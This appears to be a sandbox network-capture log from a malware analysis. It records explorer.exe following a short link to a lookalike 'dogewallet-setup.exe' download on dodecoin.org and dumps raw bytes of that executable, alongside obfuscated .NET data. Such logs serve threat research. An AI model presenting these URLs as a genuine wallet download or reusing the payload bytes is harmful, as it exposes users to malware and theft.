2021-12-31 18:13:30 UTC	1254	IN	Data Raw: 00 88 25 00 00 00 00 91 00 10 b9 02 00 18 00 02 00 88 25 00 00 00 00 91 00 d9 21 01 00 18 00 02 00 88 25 00 00 00 00 91 00 d3 ff 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 3d 8d 01 00 18 00 02 00 88 25 00 00 00 00 91 00 f4 59 02 00 18 00 02 00 88 25 00 00 00 00 91 00 cd 4a 03 00 18 00 02 00 88 25 00 00 00 00 91 00 a2 73 02 00 18 00 02 00 88 25 00 00 00 00 91 00 2b 21 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 8e 06 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 a2 09 03 00 18 00 02 00 88 25 00 00 00 00 91 00 e0 3d 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 2a 59 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 0e 78 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 b5 43 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 ea 0e 02 00 18 00 02 00 88 25 00 00 00 00 91 00 fb 57 00 00 18 00 Data Ascii: %%!%%=%Y%J%s%+!%%%=%*Y%x%C%%W
2021-12-31 18:13:30 UTC	1270	IN	Data Raw: 00 88 25 00 00 00 00 91 00 9c aa 02 00 18 00 12 00 88 25 00 00 00 00 91 00 f4 45 01 00 18 00 12 00 88 25 00 00 00 00 91 00 c7 38 00 00 18 00 12 00 a0 25 00 00 00 00 91 00 6f 29 03 00 18 00 12 00 88 25 00 00 00 00 91 00 38 f6 00 00 18 00 12 00 88 25 00 00 00 00 91 00 5f c4 00 00 18 00 12 00 88 25 00 00 00 00 91 00 ee 8e 01 00 18 00 12 00 88 25 00 00 00 00 91 00 73 e3 02 00 18 00 12 00 88 25 00 00 00 00 91 00 a9 f8 02 00 18 00 12 00 a0 25 00 00 00 00 91 00 e7 f6 01 00 18 00 12 00 a0 25 00 00 00 00 91 00 6d 0f 00 00 18 00 12 00 a0 25 00 00 00 00 91 00 ee 2d 00 00 18 00 12 00 88 25 00 00 00 00 91 00 23 90 01 00 18 00 12 00 a0 25 00 00 00 00 91 00 97 36 01 00 18 00 12 00 a0 25 00 00 00 00 91 00 1b 9a 02 00 18 00 12 00 88 25 00 00 00 00 91 00 bb b3 01 00 18 00 Data Ascii: %%E%8%o)%8%_%%s%%%m%-%#%6%%
2021-12-31 18:13:30 UTC	1286	IN	Data Raw: 00 1a 00 0f 00 1b 00 0f 00 1c 00 0f 00 1d 00 0f 00 1e 00 0f 00 1f 00 1e 00 21 00 20 00 22 00 21 00 24 00 23 00 25 00 24 00 27 00 26 00 28 00 27 00 2a 00 29 00 2b 00 29 00 2c 00 2b 00 00 00 00 00 38 00 80 97 00 00 00 00 00 00 00 00 77 7f 80 97 00 00 00 00 00 00 00 00 83 7f 80 97 00 00 00 00 00 00 00 00 85 7f 80 97 00 00 00 00 6b 00 aa 06 6b 00 04 07 7f 00 04 07 6b 00 ed 07 7f 00 ed 07 7f 00 00 08 6b 00 00 08 76 7f a6 08 84 7f a6 08 01 01 d4 08 13 01 ed 07 82 7f d3 09 82 7f d8 09 82 7f dd 09 82 7f e2 09 82 7f e7 09 82 7f ec 09 82 7f f1 09 82 7f f6 09 82 7f fb 09 00 00 00 36 ef bb 8c ef ba 87 30 30 00 32 e7 95 99 ef ba 88 30 30 00 db 93 e8 b1 86 da 8b 30 30 00 e7 95 99 da 95 da 94 30 30 00 33 d9 b7 31 31 30 00 ef bb b2 33 35 31 30 00 e5 84 bf e5 a4 a7 36 31 Data Ascii: ! "!$#%$'&('*)+),+8wkkkkv60020000003110351061
2021-12-31 18:13:30 UTC	1302	IN	Data Raw: e5 85 8b 32 34 00 d9 ba da 88 db 92 32 34 00 da 94 ef ba 82 db 93 32 34 00 31 ef bb 8c db 93 32 34 00 31 da bf da 94 32 34 00 37 db 88 da aa 32 34 00 36 da 95 d9 b7 32 34 00 d9 ba ef bb b2 30 33 34 00 da 94 da 93 36 33 34 00 e5 9f 83 da 88 37 33 34 00 3c 3e 6f 5f 5f 33 34 00 e5 85 8b da 95 ef ba 82 33 34 00 db 93 e6 b3 a2 db 88 33 34 00 ef ad a2 ef ba 82 da 94 33 34 00 da 94 db 88 da 96 33 34 00 30 d9 b1 da 96 33 34 00 da 88 ef bb 8c da 99 33 34 00 ef ba 88 e8 b1 86 d9 b1 33 34 00 e6 96 af 37 da bf 33 34 00 32 e5 a4 a7 da 99 34 34 00 d9 af da aa d9 ba 34 34 00 34 db 8b ef ba 87 35 34 00 db 88 35 da 8b 35 34 00 db 84 db 84 da 94 35 34 00 e8 89 be e6 b3 a2 da 95 35 34 00 e5 84 bf da ab e6 96 af 35 34 00 db 8b 31 da bf 35 34 00 db 93 e5 a4 a7 31 36 34 00 53 Data Ascii: 242424124124724624034634734<>o__3434343434034343473424444454554545454154164S
2021-12-31 18:13:30 UTC	1318	IN	Data Raw: d9 b1 e6 b3 a2 db 8b da 91 38 00 d9 b7 da 93 da 9f da 91 38 00 e5 9f 83 31 ef bb ac da 91 38 00 da 93 ef ba 87 d9 af da 91 38 00 da ab ef ba 87 d9 af da 91 38 00 e7 95 99 ef bb ac da bf da 91 38 00 ef bb ac ef ba 81 35 db 92 38 00 39 ef bb 90 36 db 92 38 00 da aa ef ba 88 da 93 db 92 38 00 e6 b3 a2 da aa da 95 db 92 38 00 db 84 ef ba 82 da 96 db 92 38 00 ef ba 88 da 99 e7 95 99 db 92 38 00 d9 b7 e7 95 99 da ab db 92 38 00 db 93 ef ad a2 35 da 93 38 00 da 88 da aa e5 9f 83 da 93 38 00 ef bb b2 da ab db 85 da 93 38 00 ef bb b2 30 da 88 da 93 38 00 e8 b1 86 db b6 da 91 da 93 38 00 db 93 e5 84 bf e7 95 99 da 93 38 00 35 32 da 99 da 93 38 00 e8 b1 86 e5 85 8b 34 db 93 38 00 db 92 e8 89 be 36 db 93 38 00 ef bb ac da bf db 84 db 93 38 00 d9 b7 da 95 e5 85 8b db Data Ascii: 881888858968888885888088852848688
2021-12-31 18:13:30 UTC	1334	IN	Data Raw: ef ba 82 d9 ba e6 b3 a2 ef ba 81 00 ef ba 81 ef ba 87 da bf e6 b3 a2 ef ba 81 00 ef ba 88 ef bb 8c da bf e6 b3 a2 ef ba 81 00 db 93 e7 95 99 31 e5 a4 a7 ef ba 81 00 da 8b e8 89 be e8 b1 86 e5 a4 a7 ef ba 81 00 31 36 ef ba 88 e5 a4 a7 ef ba 81 00 e5 84 bf e5 84 bf da 99 e5 a4 a7 ef ba 81 00 e7 95 99 e5 85 8b e5 a4 a7 e5 a4 a7 ef ba 81 00 da 91 e6 b3 a2 d9 b1 e5 a4 a7 ef ba 81 00 33 ef ba 81 d9 ba e5 a4 a7 ef ba 81 00 38 e5 85 8b 38 da aa ef ba 81 00 33 e8 89 be db 84 da aa ef ba 81 00 da 96 37 db 93 da aa ef ba 81 00 ef ba 87 ef bb 90 e5 a4 a7 da aa ef ba 81 00 d9 af d9 ba ef bb ac da aa ef ba 81 00 da 91 ef bb 8c 31 da ab ef ba 81 00 da 9f da 91 33 da ab ef ba 81 00 ef bb ac da bf 34 da ab ef ba 81 00 31 da 99 e5 9f 83 da ab ef ba 81 00 39 ef bb ac db 93 Data Ascii: 1163883713419
2021-12-31 18:13:30 UTC	1350	IN	Data Raw: 88 e6 b3 a2 db 85 00 da 9f db 92 e5 85 8b e6 b3 a2 db 85 00 ef ba 82 e7 95 99 da 8b e6 b3 a2 db 85 00 39 30 db 8b e6 b3 a2 db 85 00 db 85 30 db 92 e6 b3 a2 db 85 00 d9 ba 34 da 96 e6 b3 a2 db 85 00 ef ba 81 da 91 da 99 e6 b3 a2 db 85 00 da bf db 88 da 9f e6 b3 a2 db 85 00 e7 95 99 ef ba 87 ef ad a2 e6 b3 a2 db 85 00 da 96 ef bb b2 e5 a4 a7 e6 b3 a2 db 85 00 db 85 ef bb b2 da ab e6 b3 a2 db 85 00 da 9f da 93 e6 96 af e6 b3 a2 db 85 00 da 93 da bf d9 af e6 b3 a2 db 85 00 db b6 36 d9 ba e6 b3 a2 db 85 00 db 93 36 37 e5 a4 a7 db 85 00 ef bb 8c db 84 ef ba 81 e5 a4 a7 db 85 00 da 88 e6 b3 a2 db 84 e5 a4 a7 db 85 00 da aa e7 95 99 db 85 e5 a4 a7 db 85 00 ef ba 81 e6 b3 a2 da 88 e5 a4 a7 db 85 00 da aa da 99 db 8b e5 a4 a7 db 85 00 da 91 33 da 9f e5 a4 a7 db 85 Data Ascii: 90046673
2021-12-31 18:13:30 UTC	1366	IN	Data Raw: 95 99 e7 95 99 da 88 00 33 e6 96 af ef ad a2 e7 95 99 da 88 00 ef ad a2 da 94 e6 b3 a2 e7 95 99 da 88 00 e6 b3 a2 36 e5 a4 a7 e7 95 99 da 88 00 36 ef ba 81 e5 a4 a7 e7 95 99 da 88 00 e5 84 bf e5 9f 83 ef bb ac e7 95 99 da 88 00 e6 b3 a2 da aa ef bb ac e7 95 99 da 88 00 ef bb ac ef ba 82 e6 96 af e7 95 99 da 88 00 da 91 da 94 32 da 99 da 88 00 ef bb 8c e8 b1 86 e5 a4 a7 da 99 da 88 00 ef bb ac db 92 da aa da 99 da 88 00 db 84 e5 84 bf d9 b1 da 99 da 88 00 31 e5 85 8b ef bb b2 da 99 da 88 00 e8 b1 86 da 9f ef bb b2 da 99 da 88 00 db 88 ef ba 88 37 da 9f da 88 00 ef ba 87 ef ba 88 ef ba 82 da 9f da 88 00 da 93 ef ba 82 e5 9f 83 da 9f da 88 00 31 ef bb ac db 8b da 9f da 88 00 db b6 34 da 93 da 9f da 88 00 e6 b3 a2 ef ba 82 e7 95 99 da 9f da 88 00 db 8b db b6 Data Ascii: 36621714
2021-12-31 18:13:30 UTC	1382	IN	Data Raw: d9 af 33 ef bb ac db 8b 00 da 91 e5 84 bf 39 ef bb ac db 8b 00 ef ba 81 db 84 ef ba 82 ef bb ac db 8b 00 e6 96 af d9 ba e5 85 8b ef bb ac db 8b 00 d9 ba db b6 db 93 ef bb ac db 8b 00 e5 9f 83 39 da 99 ef bb ac db 8b 00 e7 95 99 e5 a4 a7 e6 96 af ef bb ac db 8b 00 d9 b1 35 e5 84 bf ef bb ac db 8b 00 38 db 93 35 e6 96 af db 8b 00 ef bb ac db 92 36 e6 96 af db 8b 00 e7 95 99 db 8b 38 e6 96 af db 8b 00 db 88 da 91 e5 9f 83 e6 96 af db 8b 00 32 30 ef ba 87 e6 96 af db 8b 00 ef bb 90 da 9f da 95 e6 96 af db 8b 00 37 ef ba 82 d9 b1 e6 96 af db 8b 00 da 91 d9 ba d9 ba e6 96 af db 8b 00 ef ba 82 ef ba 82 da bf e6 96 af db 8b 00 db 85 d9 af 30 d9 af db 8b 00 38 34 db 8b d9 af db 8b 00 ef bb ac da 91 da 95 d9 af db 8b 00 37 31 db b6 d9 af db 8b 00 e5 9f 83 34 e8 89 Data Ascii: 39958568207084714
2021-12-31 18:13:30 UTC	1398	IN	Data Raw: b6 db 92 e6 b3 a2 db 92 00 31 ef bb b2 da 99 e6 b3 a2 db 92 00 d9 b7 db 8b da 9f e6 b3 a2 db 92 00 d9 af e7 95 99 da 9f e6 b3 a2 db 92 00 e6 b3 a2 36 da aa e6 b3 a2 db 92 00 db 84 db b6 ef bb ac e6 b3 a2 db 92 00 da 88 ef bb 90 e6 96 af e6 b3 a2 db 92 00 35 30 35 e5 a4 a7 db 92 00 38 da bf 35 e5 a4 a7 db 92 00 ef ba 81 37 38 e5 a4 a7 db 92 00 da 94 d9 b7 38 e5 a4 a7 db 92 00 e7 95 99 e8 89 be e6 b3 a2 e5 a4 a7 db 92 00 31 ef ba 82 ef bb 90 da aa db 92 00 e5 84 bf 33 da 95 da aa db 92 00 da aa ef ba 81 e6 b3 a2 da aa db 92 00 33 ef bb 90 e6 b3 a2 da aa db 92 00 e7 95 99 39 e5 a4 a7 da aa db 92 00 d9 b1 38 32 da ab db 92 00 ef ba 81 da 96 34 da ab db 92 00 32 d9 ba db 93 da ab db 92 00 ef ba 81 da 8b e7 95 99 da ab db 92 00 ef ba 88 ef bb 90 30 ef bb ac db Data Ascii: 1650585788133982420
2021-12-31 18:13:30 UTC	1414	IN	Data Raw: af e5 84 bf d9 b7 da 95 00 ef ba 82 da ab da bf d9 b7 da 95 00 da 93 da 9f 38 d9 ba da 95 00 ef bb ac e7 95 99 db 92 d9 ba da 95 00 e8 b1 86 db 85 da 94 d9 ba da 95 00 30 e6 b3 a2 e6 96 af d9 ba da 95 00 31 da 88 db b6 d9 ba da 95 00 ef ba 88 ef ad a2 e5 84 bf d9 ba da 95 00 da 95 ef bb ac 31 e8 89 be da 95 00 31 db 85 38 e8 89 be da 95 00 da 88 da 88 39 e8 89 be da 95 00 da bf d9 b7 db 8b e8 89 be da 95 00 ef bb 8c db 93 e6 b3 a2 e8 89 be da 95 00 da bf db 93 d9 b7 e8 89 be da 95 00 e5 84 bf d9 ba 33 e5 84 bf da 95 00 39 e8 b1 86 da 99 e5 84 bf da 95 00 ef ba 82 e5 a4 a7 ef bb ac e5 84 bf da 95 00 e6 b3 a2 db 84 db b6 e5 84 bf da 95 00 e7 95 99 da 9f d9 ba e5 84 bf da 95 00 ef bb ac ef ba 87 ef ba 82 da bf da 95 00 ef bb b2 34 db 88 da bf da 95 00 e6 96 Data Ascii: 8011189394
2021-12-31 18:13:30 UTC	1430	IN	Data Raw: 99 da 96 e8 89 be da 99 00 ef bb 8c da bf d9 b1 e8 89 be da 99 00 da 96 ef bb b2 ef bb 90 e5 84 bf da 99 00 d9 af ef bb 90 da 94 e5 84 bf da 99 00 ef ba 88 e8 89 be da 96 e5 84 bf da 99 00 da 93 da 99 e7 95 99 e5 84 bf da 99 00 db 8b da 99 e5 a4 a7 e5 84 bf da 99 00 da 99 e6 b3 a2 e6 96 af e5 84 bf da 99 00 32 e5 84 bf db b6 e5 84 bf da 99 00 d9 b7 db 84 da 9f da bf da 99 00 d9 ba ef ad a2 e5 a4 a7 da bf da 99 00 39 39 e6 96 af da bf da 99 00 da 93 db 84 d9 b1 da bf da 99 00 db 93 d9 b7 33 30 da 9f 00 e7 95 99 db 85 36 30 da 9f 00 e8 89 be 36 37 30 da 9f 00 da 96 ef ad a2 e6 b3 a2 30 da 9f 00 31 db 93 d9 b1 30 da 9f 00 da 91 ef bb 90 37 31 da 9f 00 da 96 ef bb ac db 84 31 da 9f 00 da 91 36 ef ba 88 31 da 9f 00 32 e6 96 af da 96 31 da 9f 00 ef ba 88 da 8b Data Ascii: 29930606700107116121
2021-12-31 18:13:30 UTC	1446	IN	Data Raw: e8 89 be e5 9f 83 e5 84 bf e6 b3 a2 00 da bf e5 a4 a7 da 88 e5 84 bf e6 b3 a2 00 e8 b1 86 e7 95 99 ef bb 90 e5 84 bf e6 b3 a2 00 e7 95 99 da 88 e7 95 99 e5 84 bf e6 b3 a2 00 da 91 da 99 ef ad a2 e5 84 bf e6 b3 a2 00 e7 95 99 e6 b3 a2 db b6 e5 84 bf e6 b3 a2 00 db 92 ef ba 87 d9 ba e5 84 bf e6 b3 a2 00 e7 95 99 e5 85 8b e8 89 be e5 84 bf e6 b3 a2 00 da 88 da 91 e5 84 bf e5 84 bf e6 b3 a2 00 37 ef ba 87 38 da bf e6 b3 a2 00 ef ba 82 da 95 39 da bf e6 b3 a2 00 ef ad a2 32 e8 b1 86 da bf e6 b3 a2 00 d9 b7 da 93 e8 b1 86 da bf e6 b3 a2 00 da aa ef ad a2 e8 b1 86 da bf e6 b3 a2 00 da 8b 39 ef ba 88 da bf e6 b3 a2 00 32 ef bb 90 db 88 da bf e6 b3 a2 00 38 db 88 e7 95 99 da bf e6 b3 a2 00 ef bb 8c da 93 da 99 da bf e6 b3 a2 00 db 93 d9 ba e6 b3 a2 da bf e6 b3 a2 Data Ascii: 7892928
2021-12-31 18:13:30 UTC	1462	IN	Data Raw: ef bb ac 00 e8 89 be e6 96 af ef ba 81 da 93 ef bb ac 00 ef ad a2 ef ad a2 db 85 da 93 ef bb ac 00 da 93 ef ba 81 ef ba 88 da 93 ef bb ac 00 da 93 db 8b da 88 da 93 ef bb ac 00 da 99 da bf da 91 da 93 ef bb ac 00 ef ba 88 e5 a4 a7 da 96 da 93 ef bb ac 00 36 34 da 9f da 93 ef bb ac 00 da ab db b6 e6 b3 a2 da 93 ef bb ac 00 ef ba 82 db 8b e5 a4 a7 da 93 ef bb ac 00 db b6 e7 95 99 da ab da 93 ef bb ac 00 ef ba 88 da 9f ef bb ac da 93 ef bb ac 00 ef ba 82 ef bb ac ef bb ac da 93 ef bb ac 00 ef ad a2 38 d9 b1 da 93 ef bb ac 00 da aa ef bb ac ef bb b2 da 93 ef bb ac 00 da 93 ef bb 8c d9 ba da 93 ef bb ac 00 db 84 e5 84 bf e8 89 be da 93 ef bb ac 00 e7 95 99 ef bb b2 30 db 93 ef bb ac 00 ef ba 81 ef bb 90 34 db 93 ef bb ac 00 ef ba 81 d9 b1 35 db 93 ef bb ac 00 Data Ascii: 648045
2021-12-31 18:13:30 UTC	1478	IN	Data Raw: 37 ef ba 88 db 84 32 ef bb b2 00 da bf da 8b db 85 32 ef bb b2 00 31 da 9f db 88 32 ef bb b2 00 39 db 8b da 9f 32 ef bb b2 00 36 31 da ab 32 ef bb b2 00 39 db 84 ef bb ac 32 ef bb b2 00 db 84 da bf e6 96 af 32 ef bb b2 00 39 ef ad a2 e5 84 bf 32 ef bb b2 00 e6 b3 a2 e5 a4 a7 da bf 32 ef bb b2 00 e6 b3 a2 da 96 31 33 ef bb b2 00 e6 b3 a2 ef ba 81 ef ba 88 33 ef bb b2 00 da bf da aa da 91 33 ef bb b2 00 d9 b1 e5 85 8b da 96 33 ef bb b2 00 39 db 85 e7 95 99 33 ef bb b2 00 35 ef ba 87 ef ad a2 33 ef bb b2 00 db 93 db 88 da ab 33 ef bb b2 00 33 d9 b7 da bf 33 ef bb b2 00 d9 af 31 31 34 ef bb b2 00 31 da 94 db 88 34 ef bb b2 00 d9 af da 96 da 93 34 ef bb b2 00 ef ba 81 da 96 db 93 34 ef bb b2 00 ef bb 90 ef bb b2 e7 95 99 34 ef bb b2 00 da 93 38 ef bb ac 34 ef Data Ascii: 72212926129229221333393533331141444484
2021-12-31 18:13:30 UTC	1494	IN	Data Raw: e6 b3 a2 37 e8 89 be 00 e5 85 8b ef ba 87 db b6 37 e8 89 be 00 d9 b7 39 d9 b7 37 e8 89 be 00 ef ad a2 da 8b ef bb 8c 38 e8 89 be 00 ef bb ac da 9f ef bb 90 38 e8 89 be 00 e8 89 be ef ad a2 da 94 38 e8 89 be 00 d9 b7 e8 89 be d9 b7 38 e8 89 be 00 d9 b1 ef ba 88 e5 84 bf 38 e8 89 be 00 e5 9f 83 da 96 30 39 e8 89 be 00 32 d9 ba 38 39 e8 89 be 00 da 8b e5 84 bf 38 39 e8 89 be 00 e5 85 8b da 9f 39 39 e8 89 be 00 e5 84 bf ef bb ac 39 39 e8 89 be 00 33 33 e5 9f 83 39 e8 89 be 00 e8 b1 86 ef bb ac db 88 39 e8 89 be 00 da aa ef ba 81 ef bb 8c 39 e8 89 be 00 e6 96 af db 8b da 9f 39 e8 89 be 00 d9 af 37 e5 a4 a7 39 e8 89 be 00 ef bb 8c da ab e6 96 af 39 e8 89 be 00 da 99 e6 96 af db b6 39 e8 89 be 00 38 e6 b3 a2 e5 84 bf 39 e8 89 be 00 d9 b7 ef bb ac 36 ef ba 81 e8 Data Ascii: 779788888092898999993399997999896
2021-12-31 18:13:30 UTC	1510	IN	Data Raw: 41 00 67 00 4b 00 41 00 41 00 41 00 41 00 00 51 48 00 34 00 73 00 49 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 45 00 41 00 49 00 76 00 4d 00 4c 00 55 00 77 00 75 00 44 00 58 00 49 00 50 00 7a 00 69 00 30 00 44 00 41 00 43 00 5a 00 56 00 4d 00 38 00 6b 00 4b 00 41 00 41 00 41 00 41 00 00 51 48 00 34 00 73 00 49 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 45 00 41 00 43 00 73 00 4c 00 63 00 2f 00 51 00 4b 00 79 00 55 00 67 00 4c 00 6a 00 77 00 77 00 48 00 41 00 4e 00 79 00 4a 00 54 00 4d 00 73 00 4b 00 41 00 41 00 41 00 41 00 00 51 48 00 34 00 73 00 49 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 45 00 41 00 48 00 50 00 32 00 44 00 53 00 35 00 31 00 4c 00 79 00 78 00 4f 00 4c 00 6e 00 59 00 48 00 41 00 49 00 70 00 4d 00 66 00 64 00 55 00 4b 00 41 00 41 Data Ascii: AgKAAAAQH4sIAAAAAAAEAIvMLUwuDXIPzi0DACZVM8kKAAAAQH4sIAAAAAAAEACsLc/QKyUgLjwwHANyJTMsKAAAAQH4sIAAAAAAAEAHP2DS51LyxOLnYHAIpMfdUKAA
2021-12-31 18:13:30 UTC	1526	IN	Data Raw: 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 31 30 30 37 30 31 32 31 33 36 35 35 5a 17 0d 32 35 30 37 30 31 32 31 34 36 35 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 a9 1d 0d bc 77 11 8a 3a 20 ec fc 13 97 f5 fa 7f 69 94 6b 74 54 10 d5 a5 0a 00 82 85 fb ed 7c 68 4b 2c 5f c5 c3 e5 61 c2 76 b7 Data Ascii: ificate Authority 20100100701213655Z250701214655Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0w: iktT\|hK,_av

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49861	172.67.158.215	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-31 18:13:31 UTC	1529	OUT	GET /u8txqc HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: short.link
2021-12-31 18:13:31 UTC	1529	IN	HTTP/1.1 307 Temporary Redirect Date: Fri, 31 Dec 2021 18:13:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.4.24 location: https://dodecoin.org/dogewallet-setup.exe CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=e1IKjvm2PIt%2BmrvSW%2B99bMG%2FhFv0V4cOPhEay8%2FadOK2IDQqwaT8EufdiDTaQkpYHyoV5AWhSdLzemp1xIc6JD6ddUGCEDnsVX4%2Fi8Rxrynu2r%2BZKls8m1qehusU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6c657b751f8e4327-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-12-31 18:13:31 UTC	1530	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49862	164.132.207.80	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-31 18:13:31 UTC	1530	OUT	GET /dogewallet-setup.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: dodecoin.org
2021-12-31 18:13:31 UTC	1530	IN	HTTP/1.1 200 OK Last-Modified: Fri, 31 Dec 2021 15:24:20 GMT Content-Type: application/x-msdownload Content-Length: 592384 Accept-Ranges: bytes Date: Fri, 31 Dec 2021 18:13:31 GMT Server: LiteSpeed Alt-Svc: quic=":443"; ma=2592000; v="35,39,43,44" Connection: close
2021-12-31 18:13:31 UTC	1530	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 86 9c be ec c2 fd d0 bf c2 fd d0 bf c2 fd d0 bf 11 8f d3 be cf fd d0 bf 11 8f d5 be 65 fd d0 bf 11 8f d4 be d4 fd d0 bf 90 88 d4 be d3 fd d0 bf 90 88 d3 be d6 fd d0 bf 90 88 d5 be 89 fd d0 bf 11 8f d1 be c7 fd d0 bf c2 fd d1 bf a3 fd d0 bf 77 88 d5 be c3 fd d0 bf 77 88 2f bf c3 fd d0 bf 77 88 d2 be c3 fd d0 bf 52 69 63 68 c2 fd d0 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$eww/wRich
2021-12-31 18:13:31 UTC	1538	IN	Data Raw: 20 6c 00 00 6a 00 ff d7 6a 00 6a 00 68 20 6c 00 00 6a 00 ff d7 6a 00 6a 00 68 d9 77 00 00 6a 00 ff 15 48 d1 41 00 ff d6 8d 05 08 b0 42 00 50 8d 9d 70 f8 ff ff 6a 00 ff 35 00 b0 42 00 b9 01 00 00 00 69 d1 81 01 00 00 03 d3 ff d2 e9 88 00 00 00 68 24 d4 41 00 68 90 5f 44 00 e8 70 e4 ff ff 8b f0 83 c4 08 8b 0e 8b 49 04 8b 4c 31 30 8b 49 04 89 8d 44 f8 ff ff 8b 11 ff 52 04 8d 85 40 f8 ff ff c7 45 fc 00 00 00 00 50 e8 11 e7 ff ff 83 c4 04 8b c8 8b 10 6a 0a 8b 42 20 ff d0 8b 8d 44 f8 ff ff 88 85 6c f8 ff ff c7 45 fc ff ff ff ff 85 c9 74 11 8b 01 ff 50 08 85 c0 74 08 8b 10 8b c8 6a 01 ff 12 ff b5 6c f8 ff ff 8b ce e8 5e fa ff ff 8b ce e8 87 f8 ff ff 33 c0 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d f0 33 cd e8 5c 24 00 00 8b e5 5d c3 33 c0 57 8b f9 40 f0 0f Data Ascii: ljjjh ljjjhwjHABPpj5Bih$Ah_DpIL10IDR@EPjB DlEtPtjl^3MdY_^[M3\$]3W@
2021-12-31 18:13:31 UTC	1546	IN	Data Raw: 00 77 13 e8 98 08 00 00 8b dc 85 db 74 1e c7 03 cc cc 00 00 eb 13 50 e8 df 45 00 00 8b d8 59 85 db 74 09 c7 03 dd dd 00 00 83 c3 08 89 5d f4 85 db 0f 84 05 01 00 00 57 53 56 ff 75 10 6a 01 ff 75 20 ff 15 54 d0 41 00 85 c0 0f 84 ec 00 00 00 33 c0 50 50 50 50 50 57 53 ff 75 0c ff 75 08 ff 15 5c d0 41 00 8b f0 85 f6 0f 84 cd 00 00 00 ba 00 04 00 00 85 55 0c 74 30 8b 45 1c 85 c0 0f 84 ba 00 00 00 3b f0 0f 8f b2 00 00 00 6a 00 6a 00 6a 00 50 ff 75 18 57 53 ff 75 0c ff 75 08 ff 15 5c d0 41 00 e9 95 00 00 00 8d 04 36 8d 48 08 3b c1 1b c0 23 c1 74 73 3b c2 77 13 e8 e0 07 00 00 8b fc 85 ff 74 1e c7 07 cc cc 00 00 eb 13 50 e8 27 45 00 00 8b f8 59 85 ff 74 09 c7 07 dd dd 00 00 83 c7 08 89 7d f8 85 ff 74 43 6a 00 6a 00 6a 00 56 57 ff 75 f0 53 ff 75 0c ff 75 08 ff 15 Data Ascii: wtPEYt]WSVuju TA3PPPPPWSuu\AUt0E;jjjPuWSuu\A6H;#ts;wtP'EYt}tCjjjVWuSuu
2021-12-31 18:13:31 UTC	1554	IN	Data Raw: 0f 85 b9 03 00 00 8b 46 14 3b 42 14 74 55 0f b6 f8 0f b6 42 14 2b f8 75 18 0f b6 7e 15 0f b6 42 15 2b f8 75 0c 0f b6 7e 16 0f b6 42 16 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1a 0f b6 4e 17 0f b6 42 17 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 5c 03 00 00 8b 46 18 3b 42 18 74 55 0f b6 f8 0f b6 42 18 2b f8 75 18 0f b6 7e 19 0f b6 42 19 2b f8 75 0c 0f b6 7e 1a 0f b6 42 1a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1a 0f b6 4e 1b 0f b6 42 1b 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 ff 02 00 00 8b 46 1c 3b 42 1c 74 55 0f b6 f8 0f b6 42 